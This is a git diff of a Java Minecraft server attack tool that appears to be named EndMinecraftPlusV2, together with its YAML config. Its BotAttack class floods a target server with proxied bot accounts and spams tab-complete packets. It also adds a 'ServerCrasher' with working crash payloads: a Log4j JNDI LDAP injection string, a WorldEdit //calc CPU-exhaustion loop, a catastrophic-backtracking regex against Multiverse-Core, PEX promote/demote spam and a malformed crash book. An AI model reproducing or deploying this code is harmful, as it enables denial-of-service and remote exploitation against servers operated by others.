LogUtil.doLog(0, "Book Crash仅适用于1.8.X版本。", "ServerCrasher");
|
||||
}
|
||||
}).start();
|
||||
break;
|
||||
default:
|
||||
}
|
||||
}
|
||||
} else if (c.getSession().hasFlag("join")) {
|
||||
if (ConfigUtil.RegisterAndLogin) {
|
||||
for (String cmd:ConfigUtil.RegisterCommands) {
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||
}
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
|
||||
break;
|
||||
case 2:
|
||||
String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}";
|
||||
c.send(new ClientChatPacket(log4jExploit));
|
||||
break;
|
||||
case 3:
|
||||
String worldEdit = "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}";
|
||||
c.send(new ClientChatPacket(worldEdit));
|
||||
break;
|
||||
case 4:
|
||||
String multiverseCore = "/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^";
|
||||
c.send(new ClientChatPacket(multiverseCore));
|
||||
break;
|
||||
case 5:
|
||||
String pex_1 = "/pex promote a a";
|
||||
String pex_2 = "/pex demote a a";
|
||||
while (c.isConnected()) {
|
||||
c.send(new ClientChatPacket(new Random().nextBoolean() ? pex_1:pex_2));
|
||||
OtherUtils.doSleep(2000);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
LogUtil.doLog(1, "ServerCrasher Mode设置有误,请检查配置文件。", null);
|
||||
break;
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
||||
c.getSession().setFlag("login", true);
|
||||
if (ConfigUtil.TabAttack && !c.hasFlag("tabAttack")) {
|
||||
c.setFlag("tabAttack", true);
|
||||
|
||||
new Thread(() -> {
|
||||
while (c.isConnected()) {
|
||||
MultiVersionPacket.sendTabPacket(c, "/");
|
||||
OtherUtils.doSleep(100);
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
} else {
|
||||
if (ConfigUtil.RegisterAndLogin) {
|
||||
try {
|
||||
for (String cmd:ConfigUtil.RegisterCommands) {
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
c.send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
|
||||
|
||||
c.setFlag("login", true);
|
||||
} catch (Exception ignored) {}
|
||||
} else {
|
||||
c.setFlag("login", true);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
alivePlayers.remove(c);
|
||||
}
|
||||
}
|
||||
|
||||
OtherUtils.doSleep(1000);
|
||||
}
|
||||
});
|
||||
|
||||
@ -182,36 +247,18 @@ public class BotAttack extends IAttack {
|
||||
}
|
||||
});
|
||||
|
||||
if (this.attack_tab) {
|
||||
tabThread = new Thread(() -> {
|
||||
while (true) {
|
||||
Set<Client> cacheClients = clients;
|
||||
|
||||
for (Client c:cacheClients) {
|
||||
if (c.getSession().isConnected() && c.getSession().hasFlag("login")) {
|
||||
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
|
||||
}
|
||||
}
|
||||
|
||||
OtherUtils.doSleep(10);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
mainThread.start();
|
||||
if (tabThread != null)
|
||||
tabThread.start();
|
||||
if (taskThread != null)
|
||||
if (taskThread != null) {
|
||||
taskThread.start();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public void stop() {
|
||||
mainThread.stop();
|
||||
if (tabThread != null)
|
||||
tabThread.stop();
|
||||
if (taskThread != null)
|
||||
if (taskThread != null) {
|
||||
taskThread.stop();
|
||||
}
|
||||
}
|
||||
|
||||
public void setTask(Runnable task) {
|
||||
@ -220,16 +267,14 @@ public class BotAttack extends IAttack {
|
||||
|
||||
private void cleanClients() {
|
||||
for (Client client:clients) {
|
||||
String username = clientName.get(client);
|
||||
|
||||
if (!client.getSession().isConnected()) {
|
||||
positionPacket.remove(client.getSession());
|
||||
alivePlayers.remove(username);
|
||||
clientName.remove(client);
|
||||
alivePlayers.remove(client.getSession());
|
||||
clientName.remove(client.getSession());
|
||||
clients.remove(client);
|
||||
} else {
|
||||
if (!alivePlayers.contains(username) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) {
|
||||
alivePlayers.add(username);
|
||||
if (!alivePlayers.contains(client.getSession()) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) {
|
||||
alivePlayers.add(client.getSession());
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -248,39 +293,36 @@ public class BotAttack extends IAttack {
|
||||
break;
|
||||
}
|
||||
|
||||
for (String p: ProxyUtil.proxies) {
|
||||
try {
|
||||
if (!EndMinecraftPlusV2.isLinux) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||
}
|
||||
|
||||
String[] _p = p.split(":");
|
||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
String[] User = AttackManager.getRandomUser().split("@");
|
||||
Client client = createClient(ip, port, User[0], proxy);
|
||||
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
clientName.put(client, User[0]);
|
||||
clients.add(client);
|
||||
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
||||
|
||||
pool.submit(() -> {
|
||||
if (this.attack_motdbefore) {
|
||||
getMotd(proxy, ip, port);
|
||||
while (clients.size() <= this.attack_maxconnect) {
|
||||
for (String p: ProxyUtil.proxies) {
|
||||
try {
|
||||
if (!EndMinecraftPlusV2.isLinux) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||
}
|
||||
|
||||
client.getSession().connect(false);
|
||||
});
|
||||
String[] _p = p.split(":");
|
||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
String[] User = AttackManager.getRandomUser().split("@");
|
||||
Client client = createClient(ip, port, User[0], proxy);
|
||||
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
clientName.put(client.getSession(), User[0]);
|
||||
clients.add(client);
|
||||
|
||||
if (this.attack_joinsleep > 0) {
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
}
|
||||
pool.submit(() -> {
|
||||
if (this.attack_motdbefore) {
|
||||
getMotd(proxy, ip, port);
|
||||
}
|
||||
|
||||
if (clients.size() > this.attack_maxconnect) {
|
||||
break;
|
||||
client.getSession().connect(false);
|
||||
});
|
||||
|
||||
if (this.attack_joinsleep > 0) {
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -340,10 +382,9 @@ public class BotAttack extends IAttack {
|
||||
|
||||
rejoin++;
|
||||
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
|
||||
clientName.put(rejoinClient, username);
|
||||
clientName.put(rejoinClient.getSession(), username);
|
||||
clients.add(rejoinClient);
|
||||
rejoinClient.getSession().connect(false);
|
||||
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
||||
|
||||
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
|
||||
rejoinPlayers.remove(username);
|
||||
@ -361,7 +402,7 @@ public class BotAttack extends IAttack {
|
||||
}
|
||||
|
||||
failed++;
|
||||
alivePlayers.remove(username);
|
||||
alivePlayers.remove(client.getSession());
|
||||
}).start();
|
||||
}
|
||||
});
|
||||
@ -441,8 +482,8 @@ public class BotAttack extends IAttack {
|
||||
|
||||
joinedPlayers.add(session);
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
if (!alivePlayers.contains(session)) {
|
||||
alivePlayers.add(session);
|
||||
}
|
||||
|
||||
MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
|
||||
@ -458,7 +499,6 @@ public class BotAttack extends IAttack {
|
||||
positionPacket.put(session, packet);
|
||||
}
|
||||
} catch (Exception ignored) {}
|
||||
|
||||
} else if (recvPacket instanceof ServerChatPacket) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||
Message message = chatPacket.getMessage();
|
||||
@ -469,22 +509,37 @@ public class BotAttack extends IAttack {
|
||||
joinedPlayers.add(session);
|
||||
}
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
if (ConfigUtil.ShowServerMessages && !message.getFullText().equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack");
|
||||
}
|
||||
} else if (recvPacket instanceof ServerKeepAlivePacket) {
|
||||
// ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId());
|
||||
// session.send(keepAlivePacket);
|
||||
if (MCForge.getProtocolVersion() >= 107) {
|
||||
VersionSupport107.sendKeepAlivePacket(session, (ServerKeepAlivePacket) recvPacket);
|
||||
} else {
|
||||
ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId());
|
||||
session.send(keepAlivePacket);
|
||||
}
|
||||
|
||||
// LogUtil.doLog(0, "[" + username + "] 已发送KeepAlive数据包。", "BotAttack");
|
||||
|
||||
if (!joinedPlayers.contains(session)) {
|
||||
joinedPlayers.add(session);
|
||||
}
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
if (!alivePlayers.contains(session)) {
|
||||
alivePlayers.add(session);
|
||||
}
|
||||
} else if (recvPacket.getClass().getSimpleName().equals("ServerPlayerHealthPacket")) {
|
||||
if (recvPacket instanceof ServerPlayerHealthPacket && ((ServerPlayerHealthPacket) recvPacket).getHealth() <= 0) {
|
||||
VersionSupport107.sendRespawnPacket(session);
|
||||
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
}
|
||||
} else if (recvPacket.getClass().getSimpleName().equals("ServerUpdateHealthPacket")) {
|
||||
if (((ServerUpdateHealthPacket) recvPacket).getHealth() <= 0) {
|
||||
ClientRequestPacket clientRequestPacket = new ClientRequestPacket(ClientRequest.RESPAWN);
|
||||
session.send(clientRequestPacket);
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -515,7 +570,7 @@ public class BotAttack extends IAttack {
|
||||
}
|
||||
|
||||
public static ItemStack getCrashBook() {
|
||||
ItemStack crashBook = null;
|
||||
ItemStack crashBook;
|
||||
CompoundTag nbtTag = new CompoundTag("crashBook");
|
||||
List<Tag> pageList = new ArrayList<>();
|
||||
|
||||
|
@ -94,7 +94,6 @@ public class MCForge {
|
||||
Field field = cls.getDeclaredField("PROTOCOL_VERSION");
|
||||
return field.getInt(null);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
@ -49,7 +49,11 @@ AdvancedSettings:
|
||||
# 来自FDPClient的魔法道具~
|
||||
ServerCrasher:
|
||||
Enable: false
|
||||
# 1 - Book (BSign/BEdit)
|
||||
# 1 - Book (BSign/BEdit) [仅1.8.X可用]
|
||||
# 2 - Log4j Exploit
|
||||
# 3 - WorldEdit
|
||||
# 4 - MultiverseCore
|
||||
# 5 - PEX
|
||||
Mode: 1
|
||||
PacketDelay: 100
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user